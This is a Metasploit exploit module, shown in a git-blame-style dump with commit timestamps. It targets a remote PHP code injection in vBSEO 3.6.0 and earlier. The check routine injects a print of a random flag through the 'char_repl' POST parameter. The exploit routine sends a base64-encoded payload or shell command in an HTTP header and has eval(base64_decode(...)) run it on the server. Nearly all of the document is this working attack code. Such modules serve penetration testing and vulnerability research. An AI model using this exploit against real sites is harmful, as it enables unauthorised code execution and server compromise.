2012-01-30 22:15:27 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-01-30 22:15:27 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-03-11 16:10:39 +00:00
|
|
|
'Name' => 'vBSEO proc_deutf() Remote PHP Code Injection',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
2014-03-11 16:10:39 +00:00
|
|
|
This module exploits a vulnerability in the 'proc_deutf()' function
|
|
|
|
defined in /includes/functions_vbseocp_abstract.php for vBSEO versions
|
|
|
|
3.6.0 and earlier. User input passed through 'char_repl' POST parameter
|
|
|
|
isn't properly sanitized before being used in a call to preg_replace()
|
|
|
|
function which uses the 'e' modifier. This can be exploited to inject
|
|
|
|
and execute arbitrary code leveraging the PHP's complex curly syntax.
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '78508'],
|
2013-08-30 21:28:54 +00:00
|
|
|
['BID', '51647'],
|
|
|
|
['EDB', '18424']
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 8190,
|
|
|
|
'Keys' => ['php'],
|
|
|
|
},
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Jan 23 2012',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
|
|
|
|
OptString.new('CMD', [false, "Command to execute"])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
flag = rand_text_alpha(rand(10)+10)
|
|
|
|
data = "char_repl='{${print(#{flag})}}'=>"
|
|
|
|
|
|
|
|
uri = normalize_uri(datastore['URI'], 'vbseocp.php')
|
|
|
|
|
|
|
|
response = send_request_cgi({
|
|
|
|
'method' => "POST",
|
|
|
|
'uri' => uri,
|
|
|
|
'data' => data
|
|
|
|
})
|
|
|
|
|
|
|
|
if response.code == 200 and response.body =~ /#{flag}/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
if datastore['CMD']
|
|
|
|
p = "passthru(\"%s\");" % datastore['CMD']
|
|
|
|
p = Rex::Text.encode_base64(p)
|
|
|
|
else
|
|
|
|
p = Rex::Text.encode_base64(payload.encoded)
|
|
|
|
end
|
|
|
|
|
|
|
|
data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"
|
|
|
|
|
|
|
|
uri = normalize_uri(datastore['URI'], 'vbseocp.php')
|
|
|
|
|
|
|
|
response = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => uri,
|
|
|
|
'data' => data,
|
|
|
|
'headers' => { 'Code' => p }
|
|
|
|
})
|
|
|
|
|
|
|
|
vprint_status("Server replied with #{response ? response.code : "nothing"}")
|
|
|
|
end
|
2012-01-31 13:06:33 +00:00
|
|
|
end
|